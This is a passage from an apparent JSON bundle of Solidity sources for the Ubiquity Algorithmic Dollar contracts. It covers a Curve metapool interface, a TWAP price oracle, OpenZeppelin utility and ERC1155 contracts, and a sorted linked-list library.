returns (uint256);\n\n function withdraw_admin_fees() external;\n\n function admin() external view returns (address);\n\n function coins(uint256 arg0) external view returns (address);\n\n function balances(uint256 arg0) external view returns (uint256);\n\n function fee() external view returns (uint256);\n\n function block_timestamp_last() external view returns (uint256);\n\n function initial_A() external view returns (uint256);\n\n function future_A() external view returns (uint256);\n\n function initial_A_time() external view returns (uint256);\n\n function future_A_time() external view returns (uint256);\n\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function balanceOf(address arg0) external view returns (uint256);\n\n function allowance(address arg0, address arg1)\n external\n view\n returns (uint256);\n\n function totalSupply() external view returns (uint256);\n}\n" - }, - "contracts/TWAPOracle.sol": { - "content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity ^0.8.3;\n\nimport \"./interfaces/IMetaPool.sol\";\n\ncontract TWAPOracle {\n address public immutable pool;\n address public immutable token0;\n address public immutable token1;\n uint256 public price0Average;\n uint256 public price1Average;\n uint256 public pricesBlockTimestampLast;\n uint256[2] public priceCumulativeLast;\n\n constructor(\n address _pool,\n address _uADtoken0,\n address _curve3CRVtoken1\n ) {\n pool = _pool;\n // coin at index 0 is uAD and index 1 is 3CRV\n require(\n IMetaPool(_pool).coins(0) == _uADtoken0 &&\n IMetaPool(_pool).coins(1) == _curve3CRVtoken1,\n \"TWAPOracle: COIN_ORDER_MISMATCH\"\n );\n\n token0 = _uADtoken0;\n token1 = _curve3CRVtoken1;\n\n uint256 _reserve0 = uint112(IMetaPool(_pool).balances(0));\n uint256 _reserve1 = uint112(IMetaPool(_pool).balances(1));\n\n // ensure that there's liquidity in the pair\n require(_reserve0 != 0 && _reserve1 != 0, \"TWAPOracle: NO_RESERVES\");\n // ensure that pair balance is perfect\n require(_reserve0 == _reserve1, \"TWAPOracle: PAIR_UNBALANCED\");\n priceCumulativeLast = IMetaPool(_pool).get_price_cumulative_last();\n pricesBlockTimestampLast = IMetaPool(_pool).block_timestamp_last();\n\n price0Average = 1 ether;\n price1Average = 1 ether;\n }\n\n // calculate average price\n function update() external {\n (uint256[2] memory priceCumulative, uint256 blockTimestamp) =\n _currentCumulativePrices();\n\n if (blockTimestamp - pricesBlockTimestampLast > 0) {\n // get the balances between now and the last price cumulative snapshot\n uint256[2] memory twapBalances =\n IMetaPool(pool).get_twap_balances(\n priceCumulativeLast,\n priceCumulative,\n blockTimestamp - pricesBlockTimestampLast\n );\n\n // price to exchange amounIn uAD to 3CRV based on TWAP\n price0Average = IMetaPool(pool).get_dy(0, 1, 1 ether, twapBalances);\n // price to exchange amounIn 3CRV to uAD based on TWAP\n price1Average = IMetaPool(pool).get_dy(1, 0, 1 ether, twapBalances);\n // we update the priceCumulative\n priceCumulativeLast = priceCumulative;\n pricesBlockTimestampLast = blockTimestamp;\n }\n }\n\n // note this will always return 0 before update has been called successfully\n // for the first time.\n function consult(address token) external view returns (uint256 amountOut) {\n if (token == token0) {\n // price to exchange 1 uAD to 3CRV based on TWAP\n amountOut = price0Average;\n } else {\n require(token == token1, \"TWAPOracle: INVALID_TOKEN\");\n // price to exchange 1 3CRV to uAD based on TWAP\n amountOut = price1Average;\n }\n }\n\n function _currentCumulativePrices()\n internal\n view\n returns (uint256[2] memory priceCumulative, uint256 blockTimestamp)\n {\n priceCumulative = IMetaPool(pool).get_price_cumulative_last();\n blockTimestamp = IMetaPool(pool).block_timestamp_last();\n }\n}\n" - }, - "@openzeppelin/contracts/utils/Context.sol": { - "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\n/*\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691\n return msg.data;\n }\n}\n" - }, - "@openzeppelin/contracts/utils/Strings.sol": { - "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\n/**\n * @dev String operations.\n */\nlibrary Strings {\n bytes16 private constant alphabet = \"0123456789abcdef\";\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n */\n function toString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n }\n return string(buffer);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n */\n function toHexString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0x00\";\n }\n uint256 temp = value;\n uint256 length = 0;\n while (temp != 0) {\n length++;\n temp >>= 8;\n }\n return toHexString(value, length);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n */\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = alphabet[value & 0xf];\n value >>= 4;\n }\n require(value == 0, \"Strings: hex length insufficient\");\n return string(buffer);\n }\n\n}\n" - }, - "@openzeppelin/contracts/utils/introspection/ERC165.sol": { - "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n" - }, - "@openzeppelin/contracts/utils/introspection/IERC165.sol": { - "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n" - }, - "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol": { - "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\n\n/**\n * @dev Interface for the optional metadata functions from the ERC20 standard.\n *\n * _Available since v4.1._\n */\ninterface IERC20Metadata is IERC20 {\n /**\n * @dev Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the decimals places of the token.\n */\n function decimals() external view returns (uint8);\n}\n" - }, - "@openzeppelin/contracts/utils/Address.sol": { - "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize, which returns 0 for contracts in\n // construction, since the code is only stored at the end of the\n // constructor execution.\n\n uint256 size;\n // solhint-disable-next-line no-inline-assembly\n assembly { size := extcodesize(account) }\n return size > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n // solhint-disable-next-line avoid-low-level-calls, avoid-call-value\n (bool success, ) = recipient.call{ value: amount }(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain`call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n // solhint-disable-next-line avoid-low-level-calls\n (bool success, bytes memory returndata) = target.call{ value: value }(data);\n return _verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n // solhint-disable-next-line avoid-low-level-calls\n (bool success, bytes memory returndata) = target.staticcall(data);\n return _verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n // solhint-disable-next-line avoid-low-level-calls\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return _verifyCallResult(success, returndata, errorMessage);\n }\n\n function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n\n // solhint-disable-next-line no-inline-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n" - }, - "contracts/interfaces/IERC20Ubiquity.sol": { - "content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity ^0.8.3;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\n\n/// @title ERC20 Ubiquiti preset interface\n/// @author Ubiquity Algorithmic Dollar\ninterface IERC20Ubiquity is IERC20 {\n // ----------- Events -----------\n event Minting(\n address indexed _to,\n address indexed _minter,\n uint256 _amount\n );\n\n event Burning(address indexed _burned, uint256 _amount);\n\n // ----------- State changing api -----------\n function burn(uint256 amount) external;\n\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n // ----------- Burner only state changing api -----------\n function burnFrom(address account, uint256 amount) external;\n\n // ----------- Minter only state changing api -----------\n function mint(address account, uint256 amount) external;\n}\n" - }, - "@openzeppelin/contracts/token/ERC1155/ERC1155.sol": { - "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IERC1155.sol\";\nimport \"./IERC1155Receiver.sol\";\nimport \"./extensions/IERC1155MetadataURI.sol\";\nimport \"../../utils/Address.sol\";\nimport \"../../utils/Context.sol\";\nimport \"../../utils/introspection/ERC165.sol\";\n\n/**\n * @dev Implementation of the basic standard multi-token.\n * See https://eips.ethereum.org/EIPS/eip-1155\n * Originally based on code by Enjin: https://github.com/enjin/erc-1155\n *\n * _Available since v3.1._\n */\ncontract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {\n using Address for address;\n\n // Mapping from token ID to account balances\n mapping (uint256 => mapping(address => uint256)) private _balances;\n\n // Mapping from account to operator approvals\n mapping (address => mapping(address => bool)) private _operatorApprovals;\n\n // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json\n string private _uri;\n\n /**\n * @dev See {_setURI}.\n */\n constructor (string memory uri_) {\n _setURI(uri_);\n }\n\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n return interfaceId == type(IERC1155).interfaceId\n || interfaceId == type(IERC1155MetadataURI).interfaceId\n || super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev See {IERC1155MetadataURI-uri}.\n *\n * This implementation returns the same URI for *all* token types. It relies\n * on the token type ID substitution mechanism\n * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].\n *\n * Clients calling this function must replace the `\\{id\\}` substring with the\n * actual token type ID.\n */\n function uri(uint256) public view virtual override returns (string memory) {\n return _uri;\n }\n\n /**\n * @dev See {IERC1155-balanceOf}.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {\n require(account != address(0), \"ERC1155: balance query for the zero address\");\n return _balances[id][account];\n }\n\n /**\n * @dev See {IERC1155-balanceOfBatch}.\n *\n * Requirements:\n *\n * - `accounts` and `ids` must have the same length.\n */\n function balanceOfBatch(\n address[] memory accounts,\n uint256[] memory ids\n )\n public\n view\n virtual\n override\n returns (uint256[] memory)\n {\n require(accounts.length == ids.length, \"ERC1155: accounts and ids length mismatch\");\n\n uint256[] memory batchBalances = new uint256[](accounts.length);\n\n for (uint256 i = 0; i < accounts.length; ++i) {\n batchBalances[i] = balanceOf(accounts[i], ids[i]);\n }\n\n return batchBalances;\n }\n\n /**\n * @dev See {IERC1155-setApprovalForAll}.\n */\n function setApprovalForAll(address operator, bool approved) public virtual override {\n require(_msgSender() != operator, \"ERC1155: setting approval status for self\");\n\n _operatorApprovals[_msgSender()][operator] = approved;\n emit ApprovalForAll(_msgSender(), operator, approved);\n }\n\n /**\n * @dev See {IERC1155-isApprovedForAll}.\n */\n function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {\n return _operatorApprovals[account][operator];\n }\n\n /**\n * @dev See {IERC1155-safeTransferFrom}.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n )\n public\n virtual\n override\n {\n require(to != address(0), \"ERC1155: transfer to the zero address\");\n require(\n from == _msgSender() || isApprovedForAll(from, _msgSender()),\n \"ERC1155: caller is not owner nor approved\"\n );\n\n address operator = _msgSender();\n\n _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);\n\n uint256 fromBalance = _balances[id][from];\n require(fromBalance >= amount, \"ERC1155: insufficient balance for transfer\");\n _balances[id][from] = fromBalance - amount;\n _balances[id][to] += amount;\n\n emit TransferSingle(operator, from, to, id, amount);\n\n _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);\n }\n\n /**\n * @dev See {IERC1155-safeBatchTransferFrom}.\n */\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n )\n public\n virtual\n override\n {\n require(ids.length == amounts.length, \"ERC1155: ids and amounts length mismatch\");\n require(to != address(0), \"ERC1155: transfer to the zero address\");\n require(\n from == _msgSender() || isApprovedForAll(from, _msgSender()),\n \"ERC1155: transfer caller is not owner nor approved\"\n );\n\n address operator = _msgSender();\n\n _beforeTokenTransfer(operator, from, to, ids, amounts, data);\n\n for (uint256 i = 0; i < ids.length; ++i) {\n uint256 id = ids[i];\n uint256 amount = amounts[i];\n\n uint256 fromBalance = _balances[id][from];\n require(fromBalance >= amount, \"ERC1155: insufficient balance for transfer\");\n _balances[id][from] = fromBalance - amount;\n _balances[id][to] += amount;\n }\n\n emit TransferBatch(operator, from, to, ids, amounts);\n\n _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);\n }\n\n /**\n * @dev Sets a new URI for all token types, by relying on the token type ID\n * substitution mechanism\n * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].\n *\n * By this mechanism, any occurrence of the `\\{id\\}` substring in either the\n * URI or any of the amounts in the JSON file at said URI will be replaced by\n * clients with the token type ID.\n *\n * For example, the `https://token-cdn-domain/\\{id\\}.json` URI would be\n * interpreted by clients as\n * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`\n * for token type ID 0x4cce0.\n *\n * See {uri}.\n *\n * Because these URIs cannot be meaningfully represented by the {URI} event,\n * this function emits no events.\n */\n function _setURI(string memory newuri) internal virtual {\n _uri = newuri;\n }\n\n /**\n * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`.\n *\n * Emits a {TransferSingle} event.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\n * acceptance magic value.\n */\n function _mint(address account, uint256 id, uint256 amount, bytes memory data) internal virtual {\n require(account != address(0), \"ERC1155: mint to the zero address\");\n\n address operator = _msgSender();\n\n _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data);\n\n _balances[id][account] += amount;\n emit TransferSingle(operator, address(0), account, id, amount);\n\n _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data);\n }\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.\n *\n * Requirements:\n *\n * - `ids` and `amounts` must have the same length.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\n * acceptance magic value.\n */\n function _mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal virtual {\n require(to != address(0), \"ERC1155: mint to the zero address\");\n require(ids.length == amounts.length, \"ERC1155: ids and amounts length mismatch\");\n\n address operator = _msgSender();\n\n _beforeTokenTransfer(operator, address(0), to, ids, amounts, data);\n\n for (uint i = 0; i < ids.length; i++) {\n _balances[ids[i]][to] += amounts[i];\n }\n\n emit TransferBatch(operator, address(0), to, ids, amounts);\n\n _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);\n }\n\n /**\n * @dev Destroys `amount` tokens of token type `id` from `account`\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n * - `account` must have at least `amount` tokens of token type `id`.\n */\n function _burn(address account, uint256 id, uint256 amount) internal virtual {\n require(account != address(0), \"ERC1155: burn from the zero address\");\n\n address operator = _msgSender();\n\n _beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), \"\");\n\n uint256 accountBalance = _balances[id][account];\n require(accountBalance >= amount, \"ERC1155: burn amount exceeds balance\");\n _balances[id][account] = accountBalance - amount;\n\n emit TransferSingle(operator, account, address(0), id, amount);\n }\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.\n *\n * Requirements:\n *\n * - `ids` and `amounts` must have the same length.\n */\n function _burnBatch(address account, uint256[] memory ids, uint256[] memory amounts) internal virtual {\n require(account != address(0), \"ERC1155: burn from the zero address\");\n require(ids.length == amounts.length, \"ERC1155: ids and amounts length mismatch\");\n\n address operator = _msgSender();\n\n _beforeTokenTransfer(operator, account, address(0), ids, amounts, \"\");\n\n for (uint i = 0; i < ids.length; i++) {\n uint256 id = ids[i];\n uint256 amount = amounts[i];\n\n uint256 accountBalance = _balances[id][account];\n require(accountBalance >= amount, \"ERC1155: burn amount exceeds balance\");\n _balances[id][account] = accountBalance - amount;\n }\n\n emit TransferBatch(operator, account, address(0), ids, amounts);\n }\n\n /**\n * @dev Hook that is called before any token transfer. This includes minting\n * and burning, as well as batched variants.\n *\n * The same hook is called on both single and batched variants. For single\n * transfers, the length of the `id` and `amount` arrays will be 1.\n *\n * Calling conditions (for each `id` and `amount` pair):\n *\n * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * of token type `id` will be transferred to `to`.\n * - When `from` is zero, `amount` tokens of token type `id` will be minted\n * for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens of token type `id`\n * will be burned.\n * - `from` and `to` are never both zero.\n * - `ids` and `amounts` have the same, non-zero length.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address operator,\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n )\n internal\n virtual\n { }\n\n function _doSafeTransferAcceptanceCheck(\n address operator,\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n )\n private\n {\n if (to.isContract()) {\n try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {\n if (response != IERC1155Receiver(to).onERC1155Received.selector) {\n revert(\"ERC1155: ERC1155Receiver rejected tokens\");\n }\n } catch Error(string memory reason) {\n revert(reason);\n } catch {\n revert(\"ERC1155: transfer to non ERC1155Receiver implementer\");\n }\n }\n }\n\n function _doSafeBatchTransferAcceptanceCheck(\n address operator,\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n )\n private\n {\n if (to.isContract()) {\n try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (bytes4 response) {\n if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) {\n revert(\"ERC1155: ERC1155Receiver rejected tokens\");\n }\n } catch Error(string memory reason) {\n revert(reason);\n } catch {\n revert(\"ERC1155: transfer to non ERC1155Receiver implementer\");\n }\n }\n }\n\n function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {\n uint256[] memory array = new uint256[](1);\n array[0] = element;\n\n return array;\n }\n}\n" - }, - "solidity-linked-list/contracts/StructuredLinkedList.sol": { - "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IStructureInterface {\n function getValue(uint256 _id) external view returns (uint256);\n}\n\n/**\n * @title StructuredLinkedList\n * @author Vittorio Minacori (https://github.com/vittominacori)\n * @dev An utility library for using sorted linked list data structures in your Solidity project.\n */\nlibrary StructuredLinkedList {\n\n uint256 private constant _NULL = 0;\n uint256 private constant _HEAD = 0;\n\n bool private constant _PREV = false;\n bool private constant _NEXT = true;\n\n struct List {\n uint256 size;\n mapping(uint256 => mapping(bool => uint256)) list;\n }\n\n /**\n * @dev Checks if the list exists\n * @param self stored linked list from contract\n * @return bool true if list exists, false otherwise\n */\n function listExists(List storage self) internal view returns (bool) {\n // if the head nodes previous or next pointers both point to itself, then there are no items in the list\n if (self.list[_HEAD][_PREV] != _HEAD || self.list[_HEAD][_NEXT] != _HEAD) {\n return true;\n } else {\n return false;\n }\n }\n\n /**\n * @dev Checks if the node exists\n * @param self stored linked list from contract\n * @param _node a node to search for\n * @return bool true if node exists, false otherwise\n */\n function nodeExists(List storage self, uint256 _node) internal view returns (bool) {\n if (self.list[_node][_PREV] == _HEAD && self.list[_node][_NEXT] == _HEAD) {\n if (self.list[_HEAD][_NEXT] == _node) {\n return true;\n } else {\n return false;\n }\n } else {\n return true;\n }\n }\n\n /**\n * @dev Returns the number of elements in the list\n * @param self stored linked list from contract\n * @return uint256\n */\n function sizeOf(List storage self) internal view returns (uint256) {\n return self.size;\n }\n\n /**\n * @dev Returns the links of a node as a tuple\n * @param self stored linked list from contract\n * @param _node id of the node to get\n * @return bool, uint256, uint256 true if node exists or false otherwise, previous node, next node\n */\n function getNode(List storage self, uint256 _node) internal view returns (bool, uint256, uint256) {\n if (!nodeExists(self, _node)) {\n return (false, 0, 0);\n } else {\n return (true, self.list[_node][_PREV], self.list[_node][_NEXT]);\n }\n }\n\n /**\n * @dev Returns the link of a node `_node` in direction `_direction`.\n * @param self stored linked list from contract\n * @param _node id of the node to step from\n * @param _direction direction to step in\n * @return bool, uint256 true if node exists or false otherwise, node in _direction\n */\n function getAdjacent(List storage self, uint256 _node, bool _direction) internal view returns (bool, uint256) {\n if (!nodeExists(self, _node)) {\n return (false, 0);\n } else {\n return (true, self.list[_node][_direction]);\n }\n }\n\n /**\n * @dev Returns the link of a node `_node` in direction `_NEXT`.\n * @param self stored linked list from contract\n * @param _node id of the node to step from\n * @return bool, uint256 true if node exists or false otherwise, next node\n */\n function getNextNode(List storage self, uint256 _node) internal view returns (bool, uint256) {\n return getAdjacent(self, _node, _NEXT);\n }\n\n /**\n * @dev Returns the link of a node `_node` in direction `_PREV`.\n * @param self stored linked list from contract\n * @param _node id of the node to step from\n * @return bool, uint256 true if node exists or false otherwise, previous node\n */\n function getPreviousNode(List storage self, uint256 _node) internal view returns (bool, uint256) {\n return getAdjacent(self, _node, _PREV);\n }\n\n /**\n * @dev Can be used before `insert` to build an ordered list.\n * @dev Get the node and then `insertBefore` or `insertAfter` basing on your list order.\n * @dev If you want to order basing on other than `structure.getValue()` override this function\n * @param self stored linked list from contract\n * @param _structure the structure instance\n * @param _value value to seek\n * @return uint256 next node with a value less than _value\n */\n function getSortedSpot(List storage self, address _structure, uint256 _value) internal view returns (uint256) {\n if (sizeOf(self) == 0) {\n return 0;\n }\n\n uint256 next;\n (, next) = getAdjacent(self, _HEAD, _NEXT);\n while ((next != 0) && ((_value < IStructureInterface(_structure).getValue(next)) != _NEXT)) {\n next = self.list[next][_NEXT];\n }\n return next;\n }\n\n /**\n * @dev Insert node `_new` beside existing node `_node` in direction `_NEXT`.\n * @param self stored linked list from contract\n * @param _node existing node\n * @param _new new node to insert\n * @return bool true if success, false otherwise\n */\n function insertAfter(List storage self, uint256 _node, uint256 _new) internal returns (bool) {\n return _insert(self, _node, _new, _NEXT);\n }\n\n /**\n * @dev Insert node `_new` beside existing node `_node` in direction `_PREV`.\n * @param self stored linked list from contract\n * @param _node existing node\n * @param _new new node to insert\n * @return bool true if success, false otherwise\n */\n function insertBefore(List storage self, uint256 _node, uint256 _new) internal returns (bool) {\n return _insert(self, _node, _new, _PREV);\n }\n\n /**\n * @dev Removes an entry from the linked list\n * @param self stored linked list from contract\n * @param _node node to remove from the list\n * @return uint256 the removed node\n */\n function remove(List storage self, uint256 _node) internal returns (uint256) {\n if ((_node == _NULL) || (!nodeExists(self, _node))) {\n return 0;\n }\n _createLink(self, self.list[_node][_PREV], self.list[_node][_NEXT], _NEXT);\n delete self.list[_node][_PREV];\n delete self.list[_node][_NEXT];\n\n self.size -= 1; // NOT: SafeMath library should be used here to decrement.\n\n return _node;\n }\n\n /**\n * @dev Pushes an entry to the head of the linked list\n * @param self stored linked list from contract\n * @param 